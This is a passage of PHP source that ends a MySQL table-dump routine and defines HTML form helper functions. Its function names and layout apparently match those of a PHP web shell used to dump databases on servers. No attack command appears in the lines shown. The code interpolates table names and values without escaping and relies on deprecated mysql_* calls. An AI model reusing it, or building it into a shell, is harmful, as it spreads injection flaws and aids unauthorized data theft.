2706 $tabledump .= " $field[Field] $field[Type]";
2707 if (!empty($field["Default"])) {
2708 $tabledump .= " DEFAULT '$field[Default]'";
2709 }
2710 if ($field['Null'] != "YES") {
2711 $tabledump .= " NOT NULL";
2712 }
2713 if ($field['Extra'] != "") {
2714 $tabledump .= " $field[Extra]";
2715 }
2716 }
2717 fr($fields);
2718 $keys = q("SHOW KEYS FROM $table");
2719 while ($key = mysql_fetch_array($keys)) {
2720 $kname = $key['Key_name'];
2721 if ($kname != "PRIMARY" && $key['Non_unique'] == 0) {
2722 $kname = "UNIQUE|$kname";
2723 }
2724 if (!is_array($index[$kname])) {
2725 $index[$kname] = array();
2726 }
2727 $index[$kname][] = $key['Column_name'];
2728 }
2729 fr($keys);
2730 while (list($kname, $columns) = @each($index)) {
2731 $tabledump .= ",
2732";
2733 $colnames = implode($columns, ",");
2734 if ($kname == "PRIMARY") {
2735 $tabledump .= " PRIMARY KEY ($colnames)";
2736 } else {
2737 if (substr($kname, 0, 6) == "UNIQUE") {
2738 $kname = substr($kname, 7);
2739 }
2740 $tabledump .= " KEY $kname ($colnames)";
2741 }
2742 }
2743 $tabledump .= "
2744);
2745
2746";
2747 if ($fp) {
2748 fwrite($fp, $tabledump);
2749 } else {
2750 echo $tabledump;
2751 }
2752 $rows = q("SELECT * FROM $table");
2753 $numfields = mysql_num_fields($rows);
2754 while ($row = mysql_fetch_array($rows)) {
2755 $tabledump = "INSERT INTO $table VALUES(";
2756 $fieldcounter = -1;
2757 $firstfield = 1;
2758 while (++$fieldcounter < $numfields) {
2759 if (!$firstfield) {
2760 $tabledump .= ", ";
2761 } else {
2762 $firstfield = 0;
2763 }
2764 if (!isset($row[$fieldcounter])) {
2765 $tabledump .= "NULL";
2766 } else {
2767 $tabledump .= "'" . mysql_escape_string($row[$fieldcounter]) . "'";
2768 }
2769 }
2770 $tabledump .= ");
2771";
2772 if ($fp) {
2773 fwrite($fp, $tabledump);
2774 } else {
2775 echo $tabledump;
2776 }
2777 }
2778 fr($rows);
2779 if ($fp) {
2780 fwrite($fp, "
2781");
2782 } else {
2783 echo "
2784";
2785 }
2786}
2787function ue($str)
2788{
2789 return urlencode($str);
2790}
2791function p($str)
2792{
2793 echo $str . "
2794";
2795}
2796function tbhead()
2797{
2798 p('<table width="100%" border="0" cellpadding="4" cellspacing="0">');
2799}
2800function tbfoot()
2801{
2802 p('</table>');
2803}
2804function makehide($name, $value = '')
2805{
2806 p("<input id=\"$name\" type=\"hidden\" name=\"$name\" value=\"$value\" />");
2807}
2808function makeinput($arg = array())
2809{
2810 $arg['size'] = $arg['size'] > 0 ? "size=\"$arg[size]\"" : "size=\"100\"";
2811 $arg['extra'] = $arg['extra'] ? $arg['extra'] : '';
2812 !$arg['type'] && $arg['type'] = 'text';
2813 $arg['title'] = $arg['title'] ? $arg['title'] . '<br />' : '';
2814 $arg['class'] = $arg['class'] ? $arg['class'] : 'input';
2815 if ($arg['newline']) {
2816 p("<p>$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] /></p>");
2817 } else {
2818 p("$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] />");
2819 }
2820}
2821function makeselect($arg = array())
2822{
2823 if ($arg['onchange']) {
2824 $onchange = 'onchange="' . $arg['onchange'] . '"';
2825 }
2826 $arg['title'] = $arg['title'] ? $arg['title'] : '';
2827 if ($arg['newline'])
2828 p('<p>');
2829 p("$arg[title] <select class=\"input\" id=\"$arg[name]\" name=\"$arg[name]\" $onchange>");
2830 if (is_array($arg['option'])) {
2831 foreach ($arg['option'] as $key => $value) {
2832 if ($arg['selected'] == $key) {
2833 p("<option value=\"$key\" selected>$value</option>");
2834 } else {
2835 p("<option value=\"$key\">$value</option>");
2836 }
2837 }
2838 }
2839 p("</select>");
2840 if ($arg['newline'])
2841 p('</p>');
2842}
2843function formhead($arg = array())
2844{
2845 !$arg['method'] && $arg['method'] = 'post';
2846 !$arg['action'] && $arg['action'] = $self;
2847 $arg['target'] = $arg['target'] ? "target=\$arg[target]\"" : '';
2848 !$arg['name'] && $arg['name'] = 'form1';
2849 p("<form name=\"$arg[name]\" id=\"$arg[name]\" action=\"$arg[action]\" method=\"$arg[method]\" $arg[target]>");
2850 if ($arg['title']) {
2851 p('<h2>' . $arg['title'] . ' »</h2>');
2852 }
2853}
2854function maketext($arg = array())
2855{
2856 !$arg['cols'] && $arg['cols'] = 100;
2857 !$arg['rows'] && $arg['rows'] = 25;
2858 $arg['title'] = $arg['title'] ? $arg['title'] . '<br />' : '';
2859 p("<p>$arg[title]<textarea class=\"area\" id=\"$arg[name]\" name=\"$arg[name]\" cols=\"$arg[cols]\" rows=\"$arg[rows]\" $arg[extra]>$arg[value]</textarea></p>");
2860}
2861function formfooter($name = '')
2862{
2863 !$name && $name = 'submit';
2864 p('<p><input class="bt" name="' . $name . '" id=\"' . $name . '\" type="submit" value="JKD-1142"></p>');
2865 p('</form>');
2866}
2867function formfoot()
2868{
2869 p('</form>');
2870}
2871function pr($a)
2872{
2873 echo '<pre>';
2874 print_r($a);
2875 echo '</pre>';
2876}